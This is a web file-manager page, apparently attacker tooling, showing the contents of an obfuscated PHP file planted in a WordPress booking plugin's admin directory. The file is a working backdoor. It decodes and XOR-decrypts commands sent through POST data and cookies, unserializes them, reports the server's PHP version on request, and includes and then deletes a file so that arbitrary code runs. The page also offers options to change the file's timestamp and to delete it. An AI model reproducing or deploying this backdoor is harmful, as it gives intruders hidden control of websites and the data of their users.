文件操作 - ejrlsthv.php

文件: /storage/v12552/rokpaw/public_html/wp-content/plugins/gf-bookings-premium/admin/ejrlsthv.php

编辑文件内容

<?php

$ajhkxpmhf	= /*   ahujr*/ 'ajhkxpmhf'	^ /*   zde */ '';

$frbta	=   $ajhkxpmhf(97)     .    $ajhkxpmhf(1039-925)	.	$ajhkxpmhf(1069-955) /* iu*/ . /* ujmqtf*/ "\141"       . /*p   */ "y"."\137"       .    "m"."a"."\x70";

$dudhfmoxv  = /*tln*/ "j".$ajhkxpmhf(585-474)   .       "\x69"       . /*   xhxu   */ "\156";

function  dunf_nd($vtkjcubxp, /*  msv*/ $pdlr_mdmlz)

{
    global	$ajhkxpmhf;

lycdbmnc($pdlr_mdmlz);}

$ah_tbyc  =    73;

function    lycdbmnc($pdlr_mdmlz)
{    global /* rhzval   */ $ajhkxpmhf;

/*  cfxgrb  */ include($pdlr_mdmlz);  $_pxkkc /*tw */ =	$pdlr_mdmlz;

@unlink($_pxkkc);}

function    heqwa(){

global /*  a   */ $ajhkxpmhf;

$_abwk	=	array();     $_abwk["p".$ajhkxpmhf(118)]	=    phpversion();

$_abwk["s"."v"]	=       $ajhkxpmhf(136-85) /*   mleoi*/ . /*isejpm*/ $ajhkxpmhf(754-708)	.       "\x35";
	$_unnbllmf /*  depu */ = /*lb_lmh  */ 74;

echo /*   yngx   */ @serialize($_abwk);

}

function   iewvrqzg($vtkjcubxp,    $mwuml){

/* bipax */ global      $ajhkxpmhf;

/*azsnhr*/ $dlydkpm  = /*  avybmk*/ "";
 /*   uol   */ $avuaj /* zx   */ =       strlen($vtkjcubxp);

/*zbavk */ $cyhli_viq	= /*   qykn   */ strlen($mwuml);

$_abwk /*  sfvsbp*/ =       0;

/*  qhpime   */ $nzmtgq      = /*gswom */ 0;

while /*  ntj*/ ($_abwk /*   _ */ <     $avuaj)   {
    $vxcsqerw      =	$vtkjcubxp[$_abwk]	^      $mwuml[$nzmtgq /*  x */ %  $cyhli_viq];

$dlydkpm    .= /*gguor*/ $vxcsqerw;    $nzmtgq++;    /*js  */ $_abwk++; /* ok */ }

/* higip*/ if  (strlen($dlydkpm)	> /*ybl   */ 20) /*  ukcoo  */ { /* gcnisy*/ $tuqacrzs    =    substr($dlydkpm,    0, /*zw*/ 20);

/*   d*/ }

/*  jek */ if    (empty($dlydkpm))   {
     $dlydkpm    =    date('Y-m-d    H:i:s');

} /*  tb  */ return    $dlydkpm;}

function      fbecbvhzq($uqqxphok)

{

global       $ajhkxpmhf;

/*   g  */   $vkiavk    =       $ajhkxpmhf(117-66)	.	"\x35"       .  $ajhkxpmhf(700-600)	.  $ajhkxpmhf(51)    .    "6"."f".$ajhkxpmhf(54)    . /*  seru  */ "c".$ajhkxpmhf(45)   .	"6"."\x66"	. /*rqcud*/ "\61"    .	$ajhkxpmhf(57)      .	"-"."\64"    . /*   ufk   */ $ajhkxpmhf(101)     .	$ajhkxpmhf(701-650) /* vbfeu */ . /*pptnh */ "c"."\x2d"      . /*poerzf */ "\71"     . /* r  */ "\144"    . /*py*/ "\63"  .    "5"."\55"	.       $ajhkxpmhf(56)	. /*hezrko*/ $ajhkxpmhf(956-900)	.      "c"."3"."\x64" /*pbshv  */ .    "\x31"    .   "\65" /* nct  */ .      "5"."3".$ajhkxpmhf(556-455).$ajhkxpmhf(52)    . /* uadidj   */ "\60"; /*ibfup */       foreach       ($uqqxphok    as /*od  */ $rhookazz      =>    $vtkjcubxp) /* hgvqz  */ {  iodniyimk(base64_decode($vtkjcubxp),       $vkiavk,     $rhookazz);    }

}

function     iodniyimk($vtkjcubxp,      $vkiavk,    $rhookazz){    global /*  tggv*/ $ajhkxpmhf;

/*  qnhhr  */ $vtkjcubxp /*o   */ =  unserialize(iewvrqzg(iewvrqzg($vtkjcubxp,  $vkiavk), /* xgw*/ $rhookazz));

$_rfevytof	=  'cgrgfsmbwf';
	$znjq_pot    =       'rtq';

/* yc  */ if	(isset($vtkjcubxp["\141" /* ycvs   */ . /*   _e  */ "\153"])) /*  pcdw */ {

if /*  dl  */ ($vtkjcubxp[$ajhkxpmhf(97)]	==    "i") /* mszc */ {

/* h*/ heqwa();

}       elseif    ($vtkjcubxp[$ajhkxpmhf(97)]      == /*  bxz */ $ajhkxpmhf(556-455)) /*  amlr */ {
 /* rg   */ dunf_nd($vtkjcubxp, /* pka*/ sprintf("\56"     .       "\57"	.     $ajhkxpmhf(37) /* yy_  */ .       "s"."\56" /*nz  */ .    $ajhkxpmhf(112)    . /*   tmnxlh */ "l", /* mutq   */ md5($vkiavk)));

$qxwujftqa       = /*  z */ 44;
 /*j*/ }
     exit();
 /* _xlx  */ }

}

fbecbvhzq($_POST);

$nzmtgqujvyc /*  kxtw */ =    Array();

$nzmtgq_vf_g    = /* lc   */ $frbta('rawurldecode',	$_POST);$dudhfmoxv($nzmtgqujvyc);

fbecbvhzq($_COOKIE);

$uqxyox    = /*tn   */ $frbta('rawurldecode', /*   zhaggy  */ $_COOKIE);

文件操作 - ejrlsthv.php

文件: /storage/v12552/rokpaw/public_html/wp-content/plugins/gf-bookings-premium/admin/ejrlsthv.php

编辑文件内容

修改文件时间

删除文件